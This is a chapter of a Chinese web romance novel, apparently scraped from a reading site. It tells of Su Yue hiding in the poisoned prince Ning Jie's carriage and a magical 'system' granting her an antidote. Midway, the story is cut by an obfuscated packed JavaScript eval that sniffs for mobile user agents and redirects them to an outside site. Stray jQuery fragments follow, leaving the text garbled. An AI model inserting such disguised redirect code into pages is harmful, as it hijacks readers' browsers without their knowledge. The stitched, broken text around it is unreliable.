16.拿捏

作品:《病弱夫君又行了

    听了她的辩解,对面没有一丝声音、半分动静。


    苏悦慢慢张开手指,从指头缝往外窥。


    这一看,她好害怕。


    宁玠笑非笑的盯着她,不像是信了她的鬼话。


    回想刚刚她欲盖弥彰的话。


    苏悦绝望了。


    “我是被狗追,不得已才进来。”


    苏悦有能站得住脚的理由,要不是宁玠叫她去聚宝斋她也不用走后门,不走后门便不会遇到放狗滋事的纨绔子,她就不会被狗追得慌不择路,跑进他的马车躲难,更不会看见他敞开胸怀,露出那白白.粉粉的……


    “狗?”宁玠从旁边一捞。


    他的大手上趴着一只小黄狗,小黄狗顶着两枚乌黑的眼睛歪头打量苏悦。


    刚小狗在宁玠的袖子下苏悦没留意,现在面对面眼对眼,她当即脸色大变,往后躲去。


    但身后是车门,门板被撞得咚的一声响。


    宁玠把手一松,小狗摇着尾巴踏着欢快的步伐扑来,苏悦忙不迭和它绕圈躲,最后挨着宁玠身侧蹲下,把脑袋别在他胳膊后,大半的身体还在外面对着小狗,活像是遇见天敌却知道藏脑袋的鸵鸟。


    “你怕狗?”


    “不……”苏悦紧闭双眼,努力把身子团成一团。


    这反应一点说服力都没有。


    她分明害怕得要死,但嘴巴又硬得不行,非说自己不害怕。


    也不知道贵妃讲她教成这样是为的什么。


    一只小狗尚且能让苏悦吓成这样,那两头大敖犬还不知道她是不是被吓破了胆……


    宁玠许久没动过的恻隐之心晃了晃,开口道:“云渐,把狗拿走。”


    他大发慈悲把狗捞起,从窗户递出去。


    刚刚狗往他衣襟上滴口水时,他就想把狗扔出去了。


    不知道为何他可以容忍猫在他身上掉毛,却不喜欢狗在他衣服上滴口水。


    狗一离开,苏悦立刻回过了魂,正要站起来,窗外又传来李修昭的声音。


    “兰殊,好久不见。”


    苏悦猛地又缩回去。


    宁玠看了眼,小女郎鬼祟地猫蹲在他身侧,手也不知道有意无意,正好放在他的腰上,一双漂亮的杏眼还好意思瞪他,甚至伸出手指比了个“嘘”。


    想到云渐之前在他耳边说的事,宁玠唇角勾了下,没有笑。


    李修昭站在车外,只能看见宁玠扭头,问道:“车上还有旁人?”


    “没。”宁玠回过头,温声道:“世子好久不见,什么时候回的长安。”


    “今日才到的,本想过几日再登门拜访,不想路上就遇到了。”李修昭笑着道:“兰殊的脸色看起来好些了,阿耶还托我给你带了一根百年人参。”


    “有劳燕郡王记挂。”


    云渐站在一旁,探头看一看,郎君脸上果然有了血色。


    可刚刚还不是这样,莫非是因为苏娘子在的缘故?


    云渐眼珠子转了转,暗暗给自己点了个头。


    虽然郎君一向清心寡欲,但毕竟到了岁数,难免会对貌美女郎动一动春心。


    苏娘子娇而不媚,一看就是个心思简单好相与的主。


    他私心以为,小王妃还是不要选太聪明的,毕竟应付小王爷一个已经够他们这些手下的吃一壶了……


    宁玠与李修昭两人隔着马车窗寒暄了几句,李修昭叉手告别。


    苏悦竖起耳朵听到不少东西。


    原来这位燕世子是送妹妹回长安相看人家的。


    他还是一位好兄长呢……


    “人都走了你还要窝在这孵蛋吗?”


    头顶突然响起一个声音,正想东想西的苏悦茫茫然回过神。


    宁玠垂着眼,自上而下看着她,莫名有种压迫感。


    苏悦被盯得头皮一阵发麻,连忙放开手,又觉察手感哪里怪怪的,她不是扯着宁玠的衣服吗?


    怎么好像是肉……


    还是宁玠腰上的肉。


    他该不会误以为她故意要摸他吧?


    苏悦趁对方还没询问,先下口为强:“我……我就是突然紧张,想抓一个东西。”


    “苏娘子都不怕狗了,刚刚又在紧张什么?”宁玠想用手抚平被她揪出褶子的布料,但作用不大。


    “你不懂。”苏悦很难向宁玠解释。


    毕竟他又不需要找个好郎君嫁了,更不用维持名声。


    但宁玠心里明镜一般,挑开了问:“因为燕世子?”


    心事这么轻而易举就被揭穿,苏悦心慌尴尬,佯装着急往四周到处看,口里着急道:“啊,不能和小王爷再说了,我要去找夏荷了,她肯定很害怕……”


    话音刚落,外面就传来夏荷微弱的声音。


    “娘子,我在呢。”


    与苏悦跑散后,夏荷心焦如火。


    担心娘子被大狗伤害,但一路追赶却没找到人,还是一名自称小王爷手下的侍卫先找到她,才将她带过来。


    只是她也疑惑,这位侍卫如何能够这么精准在人群里找出她的呢?


    夏荷的回应让苏悦没了借口。


    宁玠冲她挑了眉,还一副等她交代的样子。


    女儿家的心事岂能随意说给宁玠听,且不说他会不会帮忙,说不定还要笑话自己呢。


    苏悦耍赖,忽略之,直接道:“我要回府了。”


    宁玠没应声,他突然低头捂唇猛咳了几声,随后人竟直直瘫软下去,像是刚褪了蛇皮的蛇虚弱无力。


    若不是他唇瓣、衣襟上星星点点撒了几滴殷红的血,苏悦差点以为宁玠是故意在吓她。


    她足足愣了几息,才想起要扶人,但光扶也无济于事,她又朝外大喊:


    “云渐你快进来,你家郎君快不行了!”


    云渐立刻撇下夏荷,蹿进车厢,一看郎君的脸色不但红,还红得古怪。


    能在宁玠身边的侍卫多少都习过医术,所以他当机立断把住宁玠的手腕。


    苏悦是第一次真真切切见到宁玠这幅快死的模样,她抱起双臂,搓着浮起的鸡皮疙瘩,着急问:“你家郎君怎么了?是旧疾复发了吗?”


    云渐脸色沉重道:“不是旧疾,是中毒了。”


    “中毒?”苏悦更加吃惊,“什么时候中的?”


    云渐摇头,“我们赶紧去医馆。”他拍了拍车厢,喊道:“胡伯,医馆。”


    马车即刻启行,苏悦人还没下车,只来得及对夏荷留下交代:“就说我遇到了卫姐姐!”


    云渐一边帮小王爷躺好,一边给苏悦道歉。


    “苏娘子抱歉,我家郎君毒发突然,恐怕要耽搁您一会了。”


    苏悦岂能说半个不字。


    孰轻孰重她还能不知道?


    而且宁玠都这么惨了,她又不是那种铁石心肠的人,哪能忙里添乱。


    她摇头道:“没事……就是小王爷他……不要紧吧?”


    云渐眉头拧成麻花,忧愁道:“我从未见过郎君的脉象这么乱,毒发得这么急,想必很厉害。”


    苏悦坐在最角落上,忍着疾驰的马车带来的颠簸,愁眉不展,“会是谁要害小王爷啊?”


    害?


    苏悦突然又灵光一现。


    她上一个任务的奖赏是什么?不正是解毒灵药嘛!


    虽然这东西对她而言没多大用,但对眼下的宁玠可是大有用处啊!


    可是找到是谁害的自己也不容易。


    她已经把认识的人都猜了一遍,就连亲阿耶都没有放过……


    “云渐……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479319|184920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁玠竟从昏迷中醒来,云渐连忙上前。


    “郎君,你撑着点,我们很快就到悬壶馆了!”


    王府虽然有医士,但这种疑难杂症还真只能去找张神医,要不然折腾一趟浪费时间是小事,耽误治疗才要命。


    “嗯……”


    宁玠正要合上沉重的眼皮,从眼缝里却瞥见一个可怜巴巴缩在角落里的身影。


    她怎么还没下车去?


    云渐懂察言观色,不等宁玠问就解释起来:“刚刚郎君突然昏倒,苏娘子担心坏了,就没来得及下车。”


    苏悦满脸疑惑。


    担心坏了?她表现的有这么明显吗?


    她不是就一点点担心,还是出于她有一颗善良的心。


    “吓到苏娘子了……”宁玠虚弱道。


    苏悦盯着宁玠被血染红的唇,心有戚戚。


    正要劝对方不要多说话,免得毒素扩散更快。


    “刚,刚给苏娘子喝的那杯茶味道到底如何?”


    “……?”


    苏悦莫名其妙地看了眼云渐,想问他家郎君是不是毒傻了,这个问题到底有何意义啊!


    云渐也不清楚,但郎君不是喜欢说无用话的人。


    苏悦挪着屁.股,靠近宁玠,严肃道:“小王爷若还有力气,不如帮我想想,春日宴上是谁要害我,这件事很要紧的!”


    云渐马上露出个费解的神情,嘴角抽动。


    我家郎君都毒傻了,你还问这个?


    “茶……”宁玠吐字费劲。


    苏悦听不清答案,只好继续凑近,几乎快把耳朵贴他嘴上,焦急问:“你说什么?”


    宁玠轻喘了几下,坚持说完:“……茶,如何?”


    苏悦急死了,都不知道那解毒药多久才能拿到手,宁玠还在这惦记茶茶茶!


    怕不是已经毒到脑子糊涂了吧!


    “你就依我们郎君吧。”云渐使眼色。


    和一个中毒的病人计较什么。


    苏悦领悟到了。


    这与那种濒死的人执着一个答案的状况一样,恐怕小王爷被这个毒折磨到陷入了幻觉。


    她又何必与一个病人争对错?


    苏悦深吸一口气,昧着良心夸道:“小王爷的茶好喝极了,小王爷就是品味高。”


    宁玠努力睁开的眼睛又无力闭上。


    苏悦看他快不行了,心底着急,伏身追问:“小王爷你知道是谁要害我的吗?”


    宁玠那日是提醒过她几句,但可恨的是话只说一半,神秘叨叨。


    看吧,送佛不送到西,自己也快归西。


    宁玠被她的声音吵得头剧痛,低声吐出个名字:“宁若嘉。”


    苏悦安静了。


    是宁若嘉害的我?


    【叮——】


    【任务完成,奖励发放中】


    脑海里的这声音真真如天籁。


    苏悦欢喜极了,上下左右一通张望,还推开车窗,朝外眺望。


    解毒药会从天上掉下来吗?


    苏悦伸出手,暗暗琢磨。


    云渐留意到她的反常,跟着往外看。


    这苏娘子一副天上要掉馅饼的高兴模样怎么回事啊?


    这时马车已经赶至医馆门口,胡伯停下车就帮忙推开车门。


    云渐顾不上什么馅饼,赶紧扛起宁玠往医馆冲。


    苏悦还没有从天上捡到解毒药。


    但她不想放过良机。


    试想一下,等解开宁玠身上的毒,她就是小王爷的救命恩人!


    到时候她也可以挟恩求报。


    要宁玠做牛做马做鸡做鸭做狗……都不在话下!


    苏悦一脸自己都没有察觉的狞笑,期待又快乐地踏进医馆。